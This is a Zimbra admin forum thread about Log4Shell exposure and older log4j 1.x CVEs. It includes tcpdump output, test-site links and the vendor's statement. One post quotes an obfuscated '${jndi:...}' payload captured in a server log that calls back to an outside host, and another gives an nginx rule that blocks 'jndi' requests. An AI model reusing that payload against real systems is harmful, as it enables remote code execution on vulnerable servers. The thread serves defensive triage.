log4j-zero-day exploit - active attacks

[khawkins]

Hi,

we were testing this yesterday a lot and found that the Log4J version Zimbra uses (1.2.6 it seems for many bulds, at least since 8.4) is not affected.

We did try to confirm the exploit by using the suggested approach at https://www.lunasec.io/docs/blog/log4j-zero-day/ and indeed we found DNS records at http://dnslog.cn/ being looked up. This startled us and frightened, as it seemed it does perform some connection.

However we did some digging then with TCP dump to see if LDAP connection was made, or what was actually going on. Turns out that it is the anti-spam filters we have set up, that look through message contents and test every single URL they can find:

Code: Select all

23:47:01.010464 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 59229+ [1au] A? dnslog.cn.multi.surbl.org. (54)
23:47:01.010673 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 31930+ [1au] A? dnslog.cn.multi.uribl.com. (54)
23:47:01.010916 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 32871+ [1au] A? dnslog.cn.dob.sibl.support-intelligence.net. (72)
23:47:01.011180 IP 8.8.8.8.domain > RE.DA.CT.ED.34391: 64690 1/0/1 A 127.0.0.1 (72)
23:47:01.011279 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 5885+ [1au] A? dnslog.cn.dbl.spamhaus.org. (55)
23:47:01.011623 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 19962+ [1au] NS? dnslog.cn. (38)
23:47:01.011798 IP RE.DA.CT.ED.34391 > 8.8.8.8.domain: 42471+ [1au] A? utx82b.dnslog.cn. (45)

Therefore we are confident that Zimbra version 8.8.15.P28 is not affected.

---

That being said, I did discover this: https://nvd.nist.gov/vuln/detail/CVE-2019-17571

This is another remote code execution CVE affecting log4j and here the version used by Zimbra is indeed vulnerable. The severity of this is critical, the question remains, whether it is exploitable or not. I want to remain calm, as this has been out for months and no new patch was published by Zimbra, so I would expect they know about this and concluded it is not exploitable in Zimbra's use case. However I would very much welcome confirmation of this hypothesis, given the severity of this CVE.

Thanks!

For CVE-2019-17571, it looks like log4j has to be actively listening on a tcp/udp socket, accepting logs via network. The proof of concept linked below illustrates this.

I'm pretty sure Zimbra doesn't have this configured, (though I can't check my server right this second to confirm). Even if it does, mitigation for it seems to consist of firewalling the open port from public traffic, which mine already would be.

https://www.whitesourcesoftware.com/vul ... 2019-17571

I'm not worried about it if my interpretation is correct, but if anyone thinks I'm wrong or missing something please let me know!

[darkfader]

Hi everyone,

i've been checking logs a lot, one thing that gives me concern is the following log entry

Code: Select all

trace_log.2021_12_11:08:50:48.075:qtp2038148563-12959:https://202.61.252.102/favicon.ico REQUEST 127.0.0.1 GET ZM_LOGIN_CSRF=<UUID_REMOVED>; ZM_TEST=true; ${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}

It seems to

* have a bunch of obfuscation to avoid simple WAF filters
* be tailored to Zimbra
* be communicating back that Zimbra is detected

I can't tell what it actually does with the CRSF token. But generally it seems generally disabling any callback path is needed.
The system in question was CentOS8, but (then) didn't have a noexec /tmp filesystem.

[JDunphy]

A few useful links. Huntress allows you to test anything including text boxes, logs, etc. Just paste the code into the fields, or generate log entries, etc and then verify in your corresponding results page.

https://log4shell.huntress.com/

This in theory should have less false positives caused by analytics, antispam, etc using the DNS method described in the link below where the downstream application can be the problem.

https://www.lunasec.io/docs/blog/log4j-zero-day/

A list of companies and software and latest patches/bulletins/etc

https://gist.github.com/SwitHak/b66db3a ... 718970c592

Curated IOC feeds and threat reports

https://github.com/curated-intel/Log4Shell-IOCs

Jim

[ghen]

Apart from this specific log4j vulnerability – where Zimbra was "lucky" that their log4j is "old enough" not to be vulnerable – Zimbra ships dozens of Java libraries that are 5 or 10 years old. Look at log4j, lucene, apache mina, and many others in /opt/zimbra/lib/jars ... all completely unmaintained and may contain dozens of documented or undocumented vulnerabilities.

[rholighaus]

I have created a bug to force Synancor into action:

https://bugzilla.zimbra.com/show_bug.cgi?id=109428

[maxxer]

I have created a bug to force Synancor into action:

https://bugzilla.zimbra.com/show_bug.cgi?id=109428

Unfortunately they don't use (care) about Bugzilla anymore

[phoenix]

I have created a bug to force Synancor into action:

https://bugzilla.zimbra.com/show_bug.cgi?id=109428

Unfortunately they don't use (care) about Bugzilla anymore

Correct and sad, isn't it?

[maxxer]

Thanks everyone for investigating and reporting back!

From what I could understand, the main attack vector are HTTP calls. Would it be of any help blocking all requests containing jndi in the URI or UA? I made up this rule for nginx:

Code: Select all

if ($http_user_agent ~* (jndi) ) {
   return 403;
}
location ~* jndi {
   return 403;
}

It should be placed in /opt/zimbra/conf/nginx/includes/nginx.conf.web.https.default

I didn't follow the issue closely, as I don't deal with Java stuff very often (except for Zimbra), but I think this could be an easy move to block some attempts.

I think that setting gets lost on Zimbra update or restart - at least I no longer see it yet I'm certain that I had made it.

You are correct. The file to be modified is /opt/zimbra/conf/nginx/templates/nginx.conf.web.https.default.template and then proxy service restarted.

From the latest news I've seen they're exploiting via referrer as well, unfortunately I don't have time now to update the rules

[eneref]

This is on the support portal:

"Submitted by admin on 12/10/2021 - 21:34

After intensive review and testing, Zimbra Development has determined that the 0-day exploit vulnerability for log4j (CVE-2021-44228) does not affect the current Supported Zimbra versions (9.0.0 & 8.8.15). The current version of log4j used in Zimbra is 1.2.16. The vulnerability occurs in log4j versions 2.0 and higher."

[darkfader]

This is on the support portal:

"Submitted by admin on 12/10/2021 - 21:34

After intensive review and testing, Zimbra Development has determined that the 0-day exploit vulnerability for log4j (CVE-2021-44228) does not affect the current Supported Zimbra versions (9.0.0 & 8.8.15). The current version of log4j used in Zimbra is 1.2.16. The vulnerability occurs in log4j versions 2.0 and higher."

it would be wonderful if such intensive review would have brought forward

• * a comment regarding the potential exploits against 1.x

• * info about the status of other, known vulnerabilities with 1.x - are they manually patched or is the library in the state as it was left when its support ended.

• * info about the planned EOL date for the deprecated library that is not supposed to be used at all

https://github.com/apache/logging-log4j ... -990494126
https://github.com/apache/logging-log4j ... -991723301